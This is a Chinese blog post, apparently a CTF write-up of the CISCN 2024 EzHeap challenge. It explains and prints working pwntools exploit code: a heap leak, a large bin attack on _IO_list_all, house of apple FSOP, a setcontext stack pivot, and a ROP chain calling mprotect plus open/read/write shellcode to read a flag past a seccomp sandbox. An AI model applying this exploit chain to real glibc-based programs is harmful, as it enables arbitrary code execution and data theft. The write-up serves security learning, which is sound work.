Zj_W1nd's BLOG

How2Heap实战(2)——CISCN2024EzHeap

2024/08/30

内容

题目给了一个libcseccomp.so.2,用seccomptools检查发现程序开了seccomp沙盒,只允许orw和mprotect的系统调用。那就意味着要orw读取flag同时还很可能涉及到内存权限修改。

看下字符串发现给的libc是2.35,大部分的常用攻击可能都不好使了

检查程序,保护全开,即使没有full relro也没用因为有沙箱。很简单,就是一个orw+mprotect的沙盒以及edit不检查size的堆溢出(不过分配和编辑都要求0x500以内大小),没有别的限制。堆块和size都存在一个数组里最多80个堆块。那主要就是看怎么打2.35的glibc了。另外,如果输入的size大于0x500的话程序会从exit退出。

house of apple 一个看起来似乎是通用的ROP链沙箱orw wp复现

考虑高版本的常用攻击house of apple。利用一次large bin attack将io_list_all劫持,然后合理配置fs并将vtable改成_IO_wfile_jumps(不唯一),同时将wide_data段改成我们可控的地址。最后在exit触发的时候调用到wide_data->wvtable->0x68偏移处指针来实现劫持控制流(控制流劫持思路不唯一,参考house_of_apple的初始blog

攻击思路

最终要实现orw shellcode,sc布局在堆上,那么就同时要mprotect让堆可执行。

泄露

沙箱的存在让初始的堆块非常混乱,泄露需要先进行一些堆风水。参考两个wp有两个思路,一种是malloc一个大堆块借助consolidate清空fast和unsortedbin,然后通过溢出和printf 0截断的特性泄露脏数据。另一种就是直接借助切割,不停malloc让unsortedbin里剩下一个last remainder然后借助溢出overlap取出来进行读取。总之我们能借助溢出随意修改size那么泄露不成问题,随便overlap一下应该就行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
# defragment
for i in range(5):
New(0x90, b"a")
# 用五次非excact fit且tcache没有的申请将5个unsorted bin块切割后放入smallbin 另外在unsortebin留下一个

for i in range(10):
New(0x90, b"flag.txt") # top 切割

Edit(5, b"a" * 0x90 + p64(0) + p64(0xC0 * 5 + 0xA1))
#溢出size域 64位tcache处理的最大大小然后加0xa1, 即malloc 0x90的chunk真实大小
Delete(6) # 放入unsorted bin
New(0x90, "a") # 6 刚刚的6被“切割”,overlap取出,泄露main_arena+96
Show(7)

# leak = uu64() arch glibc2.39 python调用程序会让glibc以其他数开头而非0x7f
p.recvuntil(b"content:")
leak = u64(p.recv(6).ljust(8, b"\x00"))
libc.address = leak - 0x21ACE0

New(0x3B0, b"flag.txt") # 15 将剩下的部分取出来,这里15是一个overlap,我们能写比想象中多的地方
Delete(15)
Show(7)
p.recvuntil(b"content:")
leak_heap = u64(p.recv(5).ljust(8, b"\x00")) << 12 # 用tcache泄露堆地址,这个0x3b0的chunk在tcache
heap_base = leak_heap - 0x2000
New(0x3B0, b"a") # 15

1. large bin attack

这里其实就可以开始考虑最后堆布局的问题了(在空间不够的情况下),幸运的是这道题给了我们很多可以用的堆块(管理数组是80个,0x50大小),所以其实乱了就重新申请就行了()。

large bin attack在2.34版本及以上必须让unsorted bin里的chunk比largebin里的chunk小才能进到能触发的分支(glibc只在另一个分支添加了检查,看到有师傅说这个地方就是留一个口子用来测试的不会修复)。公式参考之前的blog:https://zjw1nd.github.io/2024/07/26/How2Heap-7-——Large-Bin-Attack

下面的注释其实是待会布局ROP链的时候用的,这个ROP链调了很久才完全懂,第一个找到的真的思路太清晰了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
# large bin attack
New(0x200, b"16") # 16 fake rsp
New(0x428, b"17") # 17
New(0x200, b"18") # 18 flag.txt
New(0x418, b"19") # 19
New(0x200, b"20") # 20 fake rsp

fake_rsp = heap_base + 0x2940 + 0x10 + 0x8
print(f"[+]fake_rsp: {hex(fake_rsp)}")

Delete(17) # 17 0x431 in unsorted bin
New(0x438, "new 17") # new 17, old 17 0x431 in large bin(chunk1)

Delete(19) # 19 0x421 in unsroted bin

payload = b"\x00" * (0x200)
payload += p64(0) + p64(0x430)
payload += p64(0) * 3 + p64(IO_list_all - 0x20) # bk_nextsize 写入_IO_list_all-0x20
Edit(16, payload)

New(0x438, b"new 19 and large bin attack") # new 19
# 这里用一次large bin attack,在IO_list_all写入了19的地址(chunk2),现在我们有了IO_list_all的写入权限

此时我们拿到了IO_list_all的控制权,它指向此时在unsorted bin中的old 19 块。

2. 伪造_IO_list_all

核心是将vtable修改为wfile的,然后将wdata指向我们可控的区域,最后把wdata->wvtable->0x68写为gadget。

注意这里面涉及到的检查(大部分可以全0绕过,write_ptr>write_base要赋值一下)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
payload = (
b"./flag\x00\x00"
+ b"\x00" * (0x200 - 8) # 溢出 padding

# fake rdi(即fp),后续调用会将这个filestrust作为参数传入,rdi会指向堆上这里
# 下面都是io_list_all指向的内容
+ p64(0x0) # flag
+ p64(heap_base + 0x3190 + 0x200) #<-- fs+8 也就是rdi+8
# heap+0x3190=old 19(0x421,fs), read_ptr指向io_list_all+0x200
)
payload += bytes(fs)[0x10:].ljust(0x200, b"\x00") + p64( # 0x200应该是为了保证不冲突随便写的
heap_base + 0x3190 + 0x200 + 0x8 # 指向紧挨着的下面一个可写地址
)
payload += b"\x00" * 0x8 + p64(setcontext + 61) # [rdi+0x28] = setcontext+61 消耗0x10
# <setcontext+61>: mov rsp,QWORD PTR [rdx+0xa0] call here!!!

payload += b"\x00" * (0xA0 - 0x28) + p64(fake_rsp) + p64(ret)# 0x28算好了,让[rdx+0xa0]指向fake_rsp, fake_rsp里放的是shellcode
# 然后让ret在0x77c88a5b2b0d <setcontext+301> push rcx压栈
Edit(18, payload)

yh师傅这个payload涉及了很多东西,静态分析看了半天宣告失败,还得是不停打断点看内存来明白发生了什么。这里先认为它通过一次溢出,伪造好了IO_list_all指向的file结构体。

3. 开启沙盒的orw与ROP链

参考这篇文章,里面提到了很多在后面用到的东西。其实看了上面这个blog感觉其实是做多了的公式打法,只是给我第一次见带来了很大的震撼。

我们要想执行自己的shellcode需要很多东西,自由度高一点或者方便一点的话我们可以用栈迁移(劫持rsp)加上ROP来进行攻击。这里涉及到很多的跳转,先拿出几个关键的节点说一下。

首先是万能的gadget setcontext(glibc 2.35):

1
2
3
4
5
6
<setcontext+61>:      mov    rsp,QWORD PTR [rdx+0xa0]
... ; 很多rdx相对寻址控制寄存器的片段
<setcontext+294> mov rcx, qword ptr [rdx + 0xa8]
<setcontext+301> push rcx
... ;无堆栈操作
<setcontext+334> ret

这里要说明,glibc 2.29即以后才变成的rdx寻址,原来都是rdi寻址(偏移也是+53)。

那我们要控制rdx,就要用到下面这段magic_gadget(libc_base+0x167420):

1
0x0000000000167420 : mov rdx, qword ptr [rdi + 8] ; mov qword ptr [rsp], rax ; call qword ptr [rdx + 0x20]

这段gadget可以将rdx变成rdi+0x8然后接着call rdi+0x28. 而要知道我们fsop利用的woverflow最后只传入了一个文件结构体地址的参数。也就是在我们触发劫持控制流的时候rdi会存有io_file结构体的地址!而这是我们堆上的可控的一个地址,这就给了我们机会,通过布局我们理论上就可以劫持rsp到我们想要的堆块上了。

4. 堆块布局

从前往后看,我们的起点是由于rdi保存有fs的信息,要想控制rsp就要控制rdx,控制rdx就要上面的magic_gadget(将rdi相关的值传入rdx)。那么首先我们在fp._wide_data->_wvtable->0x68偏移的地方就要放magic_gadget,它是我们调用的起点。

然后,它会让rdx中保存[rdi+8],并调用[rdx+0x20],因此在rdi+0x28,也就是fs+0x28的地方要放下一跳,也就是setcontext+0x61

这还没完,我们刚刚提到rdx变成了[rdi+8],同时我们依赖于它为rsp和下一跳赋值,rsp是[rdx+0xa0],返回的下一跳是[rdx + 0xa8]。因此fs+8的位置要放一个+0xa0后是fake_rsp, +0xa8后是ret的一个地址。不过堆上我们随便写 所以挑一个风水宝地放上fake_rsp和ret就好。fake_rsp要指向我们写入的mprotect+orw的shellcode。

然后就有了上面看到的内容,yh师傅选择在刚刚的large堆块后面+0x200来写,其实随便挑地方都可以的。

5. wdata,wvtable和shellcode

wdata和wvtable选择了一个复用结构(只用0x68和0xe0, 0xe0作为vtable指向自己的开头正好错位访问0x68)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
wdata = fit( # overlap 等于wide_vtable和wide_data在一起
{
0x68: gadget, # _wide_vtable -> wdoallocate的位置
#0xA0: heap_base + 0x37C0 + 0x10, # 自己开头,0x0
0xE0: heap_base + 0x37C0 + 0x10, # _wide_data->_wide_vtable
},
filler=b"\x00",
)
print(f"[+]wdata: {wdata}")
Edit(17, wdata)

# flag_addr = heap_base + 0x2F90
# print(f"[+]flag_addr: {hex(flag_addr)}")

# 全部shellcode写入
buffer = heap_base + 0x2800 + 0x10
print(f"[+]read_flag_into_buffer: {hex(buffer)}")
shellcode = (
shellcraft.open("./flag")
+ shellcraft.read("rax", buffer, 0x50)
+ shellcraft.write(1, buffer, 0x50)
)
payload = flat(
[
ret,
pop_rdi_ret,
heap_base,
pop_rsi_ret,
0x7000,
pop_rdx_r12_ret,
0x7,
0x0,
fp_mprotect,
]
) # mprotect(heap_base, 0x7000, 0x7) 令堆可执行
payload+=p64(0x2998 + 8 + heap_base) # rop最后返回到SHELLCODE写入的地方继续执行
payload += asm(shellcode)
print(f"[+]payload: {payload}")
Edit(16, payload) # edit
#最终目的是执行sc
logi("libc.address")
logi("heap_base")
gdb.attach(p, "b _IO_wfile_overflow")
Menu(5)
itr()

总结

这道题只是house of appe的一条链,还有其他的利用手段(v3,v2其他两条调用链)。这道题看wp感觉要疯了,真正打通之后又觉得也就那样。。难点还是见得少,现在开始感觉要多刷题了。

CATALOG
  1. 1. 内容
  2. 2. house of apple 一个看起来似乎是通用的ROP链沙箱orw wp复现
  3. 3. 攻击思路
    1. 3.1. 泄露
    2. 3.2. 1. large bin attack
    3. 3.3. 2. 伪造_IO_list_all
    4. 3.4. 3. 开启沙盒的orw与ROP链
    5. 3.5. 4. 堆块布局
    6. 3.6. 5. wdata,wvtable和shellcode
  4. 4. 总结